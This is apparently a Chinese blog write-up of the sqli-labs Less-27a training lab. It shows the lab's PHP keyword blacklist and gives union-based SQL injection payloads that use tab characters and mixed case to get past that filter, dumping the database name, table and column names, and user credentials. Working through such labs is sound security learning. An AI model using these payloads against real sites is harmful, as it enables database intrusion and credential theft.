sqli-labs-Less-27a

SQLI-LAPS 实验记录

Less-27a

这一关与上一关类似,但闭合方式不同,变为了",那么过关方式就可以%09制表符应对空格,以大小写绕过的方式应对'union','select'字符过滤。

php 复制代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,这次我们使用联合注入的方式,输入Payload如下:

php 复制代码
0" %09uniOn%09selEct%091,2,3;%00

结果如图所示,可以看到页面成功返回数值,那么我们就可以在相应的位置上进行注入。

这里要特别注意,最前面的id值设置为0,而不能设置为1或者-1,否则会影响到回显数值。


后续查找数据库库名、表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0" %09uniOn%09selEct%091,(database()),3;%00
  • 查找表名:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security'),3;%00
  • 查找列名:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users'),3;%00

    查找其他数据:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09concat(username,':',password)%09from%09security.users%09where%09(id=1)),3;%00

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
Henry-SAP17 分钟前
SAP PP模块全景概览
数据库
喜欢吃豆35 分钟前
Better Auth 深度解析:从用户认证到企业级身份基础设施
数据库·架构·权限·多租户
其实防守也摸鱼1 小时前
Cylab在线靶场——CTF中的通用技能
linux·数据库·学习·算法·靶场·ctf·学习网络安全
吹什么轩2 小时前
MySQL:数据库基础
数据库·mysql
内存漫游2 小时前
Undo、Redo 与事务回滚
数据库
FluxDB2 小时前
用 Rust + GPUI 重做数据库客户端
数据库·mysql
烬羽2 小时前
PostgreSQL:AI 时代原生的"隐型"向量数据库 — 用 pgvector 给消息表加上长期记忆
数据库·人工智能·程序员
Yyyyyy~2 小时前
【Mysql】增删查改操作
数据库·mysql
钱栈up3 小时前
前端改了三页、后端也动了,用户说「完全没变化」——我在 116 库上找到的三个真凶
css·数据库
BBmmo3 小时前
MySQL 里大小写不同的邮箱,为什么会撞上唯一索引?
mysql